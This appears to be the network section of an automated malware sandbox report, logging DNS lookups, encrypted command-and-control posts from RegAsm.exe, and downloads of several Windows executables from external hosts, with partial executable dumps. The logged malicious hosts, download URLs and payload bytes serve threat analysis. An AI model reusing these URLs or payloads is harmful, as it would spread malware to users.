Sep 29, 2024 00:53:21.419644117 CEST	1.1.1.1	192.168.2.9	0x2bc0	No error (0)	marafon.in	147.45.60.44	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.165288925 CEST	1.1.1.1	192.168.2.9	0xb993	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.165288925 CEST	1.1.1.1	192.168.2.9	0xb993	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.165288925 CEST	1.1.1.1	192.168.2.9	0xb993	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.165288925 CEST	1.1.1.1	192.168.2.9	0xb993	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.165288925 CEST	1.1.1.1	192.168.2.9	0xb993	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:39.024950027 CEST	1.1.1.1	192.168.2.9	0x2fd1	No error (0)	fivevh5pt.top	84.38.182.221	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:40.871912003 CEST	1.1.1.1	192.168.2.9	0xb153	No error (0)	iplog.co	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:40.871912003 CEST	1.1.1.1	192.168.2.9	0xb153	No error (0)	iplog.co	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:49.477972031 CEST	1.1.1.1	192.168.2.9	0xab1d	No error (0)	ghostreedmnu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:49.477972031 CEST	1.1.1.1	192.168.2.9	0xab1d	No error (0)	ghostreedmnu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:54:28.468936920 CEST	141.98.234.31	192.168.2.9	0x9a00	No error (0)	ejrsoyz.ua	185.208.158.248	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49705	45.91.200.135	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:14.962871075 CEST	203	OUT	GET /api/wp-ping.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 45.91.200.135
Sep 29, 2024 00:53:15.576119900 CEST	259	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Sep 29, 2024 00:53:18.390762091 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 29, 2024 00:53:18.390825987 CEST	133	OUT	Data Raw: 64 61 74 61 3d 64 4e 49 4e 6f 4e 5a 61 52 62 31 6d 67 74 58 6d 34 32 34 57 6a 74 4a 48 41 48 73 61 6a 34 4f 6c 5a 37 36 57 75 69 6f 32 54 67 38 65 4f 67 6a 45 2d 75 73 41 67 4d 75 48 34 62 61 33 76 68 32 61 73 77 35 37 30 6c 56 70 70 74 57 70 66 Data Ascii: data=dNINoNZaRb1mgtXm424WjtJHAHsaj4OlZ76Wuio2Tg8eOgjE-usAgMuH4ba3vh2asw570lVpptWpfSNijmXpwC4wPS4RMYnQn07DCrpWDaPfTxsh5PE5PxyAtmS11usq
Sep 29, 2024 00:53:19.180444002 CEST	362	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 58 31 47 6a 4f 4e 70 46 7a 52 46 38 6a 52 64 47 76 33 6a 46 6a 76 6e 69 66 70 4e 37 69 61 75 45 74 49 66 62 6b 36 4a 54 43 77 75 6b 35 30 6d 48 75 52 4b 34 63 37 35 4c 41 54 7a 39 41 51 68 35 51 39 6a 67 6e 31 38 66 4e 56 61 6d 73 58 6b 34 30 6b 74 61 51 64 4c 52 4a 30 6f 53 63 42 64 67 34 6d 55 2b 38 30 75 58 45 4e 4d 3d Data Ascii: X1GjONpFzRF8jRdGv3jFjvnifpN7iauEtIfbk6JTCwuk50mHuRK4c75LATz9AQh5Q9jgn18fNVamsXk40ktaQdLRJ0oScBdg4mU+80uXENM=
Sep 29, 2024 00:53:19.319787025 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 29, 2024 00:53:19.319787025 CEST	133	OUT	Data Raw: 64 61 74 61 3d 71 50 42 4e 4f 59 67 44 61 4d 33 49 4c 4a 4a 34 4b 76 56 65 70 4a 69 56 54 7a 49 55 73 45 31 72 75 4f 47 75 7a 4b 62 71 39 78 36 72 67 4e 5a 48 33 77 4d 54 61 67 2d 43 67 47 39 72 43 31 42 72 63 35 39 37 4b 4e 37 75 7a 69 70 74 44 Data Ascii: data=qPBNOYgDaM3ILJJ4KvVepJiVTzIUsE1ruOGuzKbq9x6rgNZH3wMTag-CgG9rC1Brc597KN7uziptDqZFjtmpWyhxqn8Cd_dSpIapp4aNmdNps84cD0SLJk0vdCmq348q
Sep 29, 2024 00:53:20.336321115 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1280 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 2f 73 30 44 64 6c 34 34 52 51 47 33 51 54 58 65 76 6e 4d 50 77 6d 7a 69 4f 6b 70 67 52 6f 6d 4d 54 57 2f 52 6f 32 45 30 4e 76 35 62 45 61 30 37 49 6f 6c 34 71 59 7a 70 79 42 6f 62 6e 38 4c 73 6b 62 31 74 56 74 34 4f 36 43 4f 45 76 61 6d 49 66 6b 6d 63 6a 4e 36 4f 6b 69 57 31 69 5a 77 39 79 77 74 32 66 4f 38 54 57 77 69 71 69 57 36 79 54 43 76 43 48 38 75 77 42 36 33 42 42 77 4e 31 48 76 53 65 6e 61 63 7a 68 5a 35 44 32 6d 66 67 34 70 75 57 44 77 6a 47 57 6d 64 6e 2b 73 51 2f 79 79 79 5a 35 55 4c 48 31 69 61 62 53 38 6f 37 6b 75 6c 46 6d 74 4f 36 65 58 6a 77 52 35 6c 79 56 2f 34 4f 71 4f 2b 4f 62 72 2f 46 6d 79 5a 41 72 6e 6d 6f 6c 74 74 73 35 6e 48 54 52 45 6c 45 53 61 49 38 7a 78 6a 44 51 6c 62 4e 4f 4e 77 4f 66 58 56 4e 4e 54 57 42 41 37 66 74 68 4e 43 6e 41 4c 63 4a 78 4f 51 72 78 76 2b 50 54 50 44 2b 78 57 35 63 38 56 33 4f 44 77 70 61 55 56 77 53 49 5a 59 72 4b 52 2b 30 50 2f 74 61 42 6a 74 44 31 39 63 56 78 41 70 44 45 73 4f 51 42 36 58 75 59 35 34 72 6e 65 32 53 36 34 57 48 4f 36 7a 47 68 [TRUNCATED] Data Ascii: R/s0Ddl44RQG3QTXevnMPwmziOkpgRomMTW/Ro2E0Nv5bEa07Iol4qYzpyBobn8Lskb1tVt4O6COEvamIfkmcjN6OkiW1iZw9ywt2fO8TWwiqiW6yTCvCH8uwB63BBwN1HvSenaczhZ5D2mfg4puWDwjGWmdn+sQ/yyyZ5ULH1iabS8o7kulFmtO6eXjwR5lyV/4OqO+Obr/FmyZArnmoltts5nHTRElESaI8zxjDQlbNONwOfXVNNTWBA7fthNCnALcJxOQrxv+PTPD+xW5c8V3ODwpaUVwSIZYrKR+0P/taBjtD19cVxApDEsOQB6XuY54rne2S64WHO6zGhO/Tz9Zom/r/gLBuYX+uW/4kDKw2lp8TirKExcCRPZo4kXakHsAE9zYNmXUYiXSg+eJqGm+2v2dXUYwfHoKfq3FeFDtdtF8bKBMDl9lMHpwySZQ4zgnj1o7PXy/WZG8J5I0p2iOHg36uVTY7jaOY1awB9T1r4ShA/LMmMKrKStHHz/0Z9ZfeAdn0cKZG0cQ4tU+UctooG/Dbe5aRrI+e+UwJqTze090/DZnRsDV2DSEXG/5slqhboglq9d/JA70DHZcUZZIdusBr8ffRuYbgQGEdOmtTlzB9xgfOdNNa7OzBdZKsEnbSTVCqqG9ylCXq5nkta81zSTLy3xiwpIyf9uvzobH1vCwLFOZZbfVByW09SWypmNeA7uyloWZfEEmPy6zWCmhPtIyDXTLW5bLNSErerNAUxo++7bduiuPH/2QTr6vfkfigH6/YOB/BBAusOm1IWTAKjjQV+FoRWDBK7bmIN5Ei6prMIFFtCXe77a5s25FGk9ObixAfRFUVTuXZYqmb5v5bISelAiWyHGgok0gtF2UVSBmORaYjkShb/oKhOxum0ASK2sUBZK82gwDjZkl3/lq1vuamD9KKfzemx4gNX/J97HChoZINZAd570k8cgExZPkHiNE5ehzE9vYBT5lQ
Sep 29, 2024 00:53:20.336338997 CEST	299	IN	Data Raw: 65 6c 71 4b 4a 35 68 6c 55 32 68 39 37 31 56 74 57 6f 54 78 49 55 61 2b 47 6d 4d 6b 35 6e 78 44 6d 49 67 5a 66 46 2b 42 2f 72 4c 51 53 2f 73 39 4d 6c 50 37 70 56 77 48 56 6b 65 56 77 54 75 47 76 61 50 61 68 67 38 42 6a 43 35 4b 65 49 73 78 52 48 Data Ascii: elqKJ5hlU2h971VtWoTxIUa+GmMk5nxDmIgZfF+B/rLQS/s9MlP7pVwHVkeVwTuGvaPahg8BjC5KeIsxRHrRnhaG7vvSIOQPsPlEYK+9LZdLw9/lVz0BoyeRjU7ZPm128rRzIJJ7nSkhVJYgusJcES3qMc0k0nM2KNyrBr+NVylE60gk6G+SCLOzQPc9sEIMcu+utAlzvix8Wwe8DY7uYAOqomxS5seUothPOTW3LtQoiOR6vKX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	103.130.147.211	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.397180080 CEST	210	OUT	HEAD /Files/Silencer.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.062238932 CEST	164	IN	HTTP/1.1 404 Not Found Date: Sat, 28 Sep 2024 22:53:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Type: text/html; charset=iso-8859-1
Sep 29, 2024 00:53:22.063147068 CEST	211	OUT	HEAD /Files/CheckTool.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.223479033 CEST	275	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat, 28 Sep 2024 18:18:14 GMT ETag: "5d8600-62331fec2a069" Accept-Ranges: bytes Content-Length: 6129152 Content-Type: application/x-msdownload
Sep 29, 2024 00:53:22.223880053 CEST	209	OUT	GET /Files/Channel2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 29, 2024 00:53:22.395323992 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat, 28 Sep 2024 17:54:38 GMT ETag: "982000-62331aa50f9f7" Accept-Ranges: bytes Content-Length: 9969664 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 7e d8 f7 66 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 2b 00 00 1c 98 00 00 0c 00 00 a0 14 00 00 00 10 00 00 00 10 2c 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 98 00 00 04 00 00 1c a9 98 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 94 00 42 00 00 00 00 10 94 00 98 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 94 00 88 3b 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 ad 93 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL~f(+,@@ B@;$.text++``.datag,g,@.rdataT @@.eh_fram!"@@.bsst.edataB@@.idata@.CRT0 @.tls0@.reloc;@<@B
Sep 29, 2024 00:53:22.395337105 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00 90 83 ec 1c Data Ascii: &&1f=@MZd`\u<@@PE@tZpt<$l=ltH1f$tfQ
Sep 29, 2024 00:53:22.395358086 CEST	1236	IN	Data Raw: 00 00 00 00 8d b4 26 00 00 00 00 c7 05 70 f0 d3 00 01 00 00 00 e9 b1 fc ff ff 90 c7 05 70 f0 d3 00 00 00 00 00 e9 a1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 b1 e3 00 00 83 f8 01 19 c0 83 c4 1c c3 90 90 90 90 90 90 90 90 55 89 e5 57 56 53 83 Data Ascii: &ppD$ $UWVS$ ,ts$ L=4(D$ $D$) $ltD$,$$@^e[^_]t&U
Sep 29, 2024 00:53:22.395370007 CEST	1236	IN	Data Raw: 04 24 70 ae d3 00 e8 7c df 00 00 c7 04 24 02 00 00 00 e8 d0 d8 00 00 8b 54 24 20 89 5c 24 08 89 04 24 89 54 24 04 e8 2c e0 00 00 e8 f7 de 00 00 8d b4 26 00 00 00 00 57 56 53 89 c3 83 ec 30 8b 35 78 f0 d3 00 85 f6 0f 8e 0a 01 00 00 a1 7c f0 d3 00 Data Ascii: $p\|$T$ \$$T$,&WVS05x\|19rxW99u$\|x\|GDT$D$T$$dD$(PtPux0[^
Sep 29, 2024 00:53:22.395390034 CEST	1236	IN	Data Raw: ff d0 eb 0d 8d b4 26 00 00 00 00 dd d8 dd d8 dd d8 83 c4 3c c3 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00 8b 44 24 04 a3 80 f0 d3 00 e9 ba d9 00 00 90 90 53 83 ec 18 8b 5c 24 20 8b 03 8b 00 3d 93 00 00 c0 74 1d 77 5b 3d 1d 00 00 c0 0f 84 d3 00 00 Data Ascii: &<&&D$S\$ =tw[=s?w%D$$\$ [t&=uqD$$uuD$$\&=uD$
Sep 29, 2024 00:53:22.395404100 CEST	1236	IN	Data Raw: 4d 5a 75 5d 8b 15 3c 00 40 00 81 ba 00 00 40 00 50 45 00 00 8d 82 00 00 40 00 75 45 66 81 ba 18 00 40 00 0b 01 75 3a 0f b7 92 14 00 40 00 0f b7 68 06 8d 5c 10 18 66 85 ed 74 34 31 f6 eb 0a 83 c6 01 83 c3 28 39 f5 74 26 c7 44 24 08 08 00 00 00 89 Data Ascii: MZu]<@@PE@uEf@u:@h\ft41(9t&D$\|$$"u[^_]t&1[^_]t&1f=@MZu<@@PE@t&vf@uV@S@\$D@ft1P9rP9r(
Sep 29, 2024 00:53:22.395418882 CEST	776	IN	Data Raw: 4c 24 28 8b 4c 24 34 8d 91 33 04 00 00 8b 4c 24 3c c1 e2 14 81 e1 ff ff ef ff 09 ca 89 54 24 2c a8 08 74 a9 eb 9f 8d 74 26 00 90 8b 4c 24 38 89 4c 24 28 8b 4c 24 3c 89 4c 24 2c a8 08 74 8e eb 84 8d b4 26 00 00 00 00 8d 76 00 c7 44 24 28 00 00 00 Data Ascii: L$(L$43L$<T$,tt&L$8L$(L$<L$,t&vD$(D$,j]vD$(D$,J=LD$8D$lD$D$<D$D$TD$D$P$>w]$L$<L$8ET
Sep 29, 2024 00:53:22.395431042 CEST	1236	IN	Data Raw: 8d 76 00 84 d2 74 b4 eb af 8d b4 26 00 00 00 00 8d 76 00 8d 7b 04 c7 03 00 00 00 00 31 c0 83 e7 fc c7 43 20 00 00 00 00 29 fb 8d 4b 24 c1 e9 02 f3 ab e9 75 fe ff ff 90 90 90 90 90 90 90 90 90 90 90 90 56 53 83 ec 24 8b 74 24 30 89 34 24 e8 1f c5 Data Ascii: vt&v{1C )K$uVS$t$04$D$8t$D$D$D$4$`D$\|4$]$[^t,St)9tT$$t[v&&WVS$7tN
Sep 29, 2024 00:53:22.395442009 CEST	1236	IN	Data Raw: 8b 5c 24 24 c7 44 24 74 00 00 00 00 85 db 74 14 8b 7c 24 24 8b 07 89 04 24 e8 f9 c8 00 00 c7 07 00 00 00 00 8b 84 24 80 00 00 00 89 04 24 e8 e4 c8 00 00 8b 44 24 2c 81 c4 ac 00 00 00 5b 5e 5f 5d c3 8d 74 26 00 90 89 74 24 10 c7 44 24 18 01 00 00 Data Ascii: \$$D$tt\|$$$$$D$,[^_]t&t$D$D$L$\|$xtXt$t&$ut3D$xpD$$\|$t$x\\$t$t&v[$+u\|$
Sep 29, 2024 00:53:22.395452976 CEST	1236	IN	Data Raw: c0 b0 d3 00 8b 44 24 28 89 c7 81 e7 80 00 00 00 89 7c 24 18 0f 85 96 00 00 00 f6 c4 06 0f 84 4e 07 00 00 8b 44 24 48 85 c0 0f 85 28 1a 00 00 8b 44 24 3c 8b 38 83 c0 04 89 44 24 3c 89 7c 24 24 8b 6c 24 24 85 ed 0f 84 60 21 00 00 c7 04 24 c8 00 00 Data Ascii: D$(\|$ND$H(D$<8D$<\|$$l$$`!$;\|$$D$@t$ttJv$1p\|$$D$t\|D$DdD$xD$4D$v!\$H$l$4$$
Sep 29, 2024 00:53:22.395478010 CEST	672	IN	Data Raw: 0f 85 96 1e 00 00 8b 44 24 3c 8b 38 83 c0 04 89 44 24 3c 89 7c 24 24 8b 6c 24 24 85 ed 0f 84 b5 1c 00 00 b8 00 04 00 00 39 c3 0f 4e c3 89 04 24 89 44 24 44 e8 86 bf 00 00 89 c1 8b 44 24 24 89 08 85 c9 0f 84 e0 0f 00 00 8b 74 24 74 85 f6 74 0c 8b Data Ascii: D$<8D$<\|$$l$$9N$D$DD$$t$ttzv$$L$ML$1p8\|$$D$t\|D$xL$D$4D$1L$!t$(\|$D&iT$4D$ttT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49711	194.58.114.223	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.398042917 CEST	199	OUT	HEAD /d/385121 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Sep 29, 2024 00:53:22.154326916 CEST	356	IN	HTTP/1.1 302 Found Server: nginx Date: Sat, 28 Sep 2024 22:53:21 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf&
Sep 29, 2024 00:53:22.838062048 CEST	198	OUT	GET /d/385121 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Sep 29, 2024 00:53:23.055671930 CEST	1236	IN	HTTP/1.1 302 Found Server: nginx Date: Sat, 28 Sep 2024 22:53:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf& Data Raw: 34 35 36 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 52 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 32 37 34 36 33 34 37 31 36 34 35 31 39 36 37 30 36 30 2f 31 32 38 39 36 36 35 35 34 30 34 34 38 35 38 33 37 33 32 2f 73 65 74 75 70 2e 65 78 65 3f 65 78 3d 36 36 66 39 61 36 32 31 26 69 73 3d 36 36 66 38 35 34 61 31 26 68 6d 3d 66 63 34 32 36 36 66 34 33 63 36 66 38 64 66 63 38 36 30 66 62 36 62 36 64 38 61 62 62 63 66 37 34 62 32 63 30 63 33 61 61 64 39 35 66 33 33 31 35 65 61 35 33 32 38 63 33 61 66 61 63 33 63 66 26 27 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 456<html> <head> <meta name="referrer" content="no-referrer"> <meta http-equiv="Refresh" content="0; URL='https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf&'"> <script> window.location.href="https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf&"; </script> </head> <body> <a href="https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf&" referrerPolicy="no-referrer" rel="noreferrer">click here</a>
Sep 29, 2024 00:53:23.055679083 CEST	270	IN	Data Raw: 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 Data Ascii: <script> self.location="https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf&"; </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49709	80.66.75.114	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:21.398169041 CEST	204	OUT	HEAD /dl?name=mixnine HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 80.66.75.114 Cache-Control: no-cache
Sep 29, 2024 00:53:22.156863928 CEST	183	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="univ.exe"; Content-Type: application/octet-stream
Sep 29, 2024 00:53:22.157536983 CEST	203	OUT	GET /dl?name=mixnine HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 80.66.75.114 Cache-Control: no-cache
Sep 29, 2024 00:53:22.414359093 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="univ.exe"; Content-Length: 331776 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 ac 3c b2 12 c2 6f b2 12 c2 6f b2 12 c2 6f dd 64 69 6f a6 12 c2 6f dd 64 5c 6f 92 12 c2 6f dd 64 68 6f ef 12 c2 6f bb 6a 51 6f b9 12 c2 6f b2 12 c3 6f 34 12 c2 6f dd 64 6d 6f b3 12 c2 6f dd 64 58 6f b3 12 c2 6f dd 64 5f 6f b3 12 c2 6f 52 69 63 68 b2 12 c2 6f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 bb 8f 1d 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 ae 03 00 00 74 04 00 00 00 00 00 5d 16 03 00 00 10 00 00 00 c0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 08 00 00 04 00 00 cb be 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$s<ooodiood\oodhoojQooo4odmoodXood_ooRichoPELet]@0\|x @.text4 `.data(]\@.rsrc @@ [TRUNCATED]
Sep 29, 2024 00:53:22.414371014 CEST	224	IN	Data Raw: 00 00 00 6c b9 03 00 60 b9 03 00 54 b9 03 00 42 b9 03 00 7c b9 03 00 00 00 00 00 8e b4 03 00 a2 b4 03 00 bc b4 03 00 d0 b4 03 00 e8 b4 03 00 fa b4 03 00 04 b5 03 00 18 b5 03 00 26 b5 03 00 38 b5 03 00 50 b5 03 00 60 b5 03 00 74 b5 03 00 7e b5 03 Data Ascii: l`TB\|&8P`t~8L\p~0@Zh\|4
Sep 29, 2024 00:53:22.414381981 CEST	1236	IN	Data Raw: b8 03 00 48 b8 03 00 5e b8 03 00 6e b8 03 00 86 b8 03 00 94 b8 03 00 aa b8 03 00 22 bd 03 00 0c bd 03 00 f6 bc 03 00 e4 bc 03 00 d8 bc 03 00 6a b4 03 00 52 b4 03 00 3e b4 03 00 2c b4 03 00 0c b4 03 00 1e b4 03 00 ea b6 03 00 f8 b3 03 00 ce bc 03 Data Ascii: H^n"jR>,&<Njx&N\t0B^r
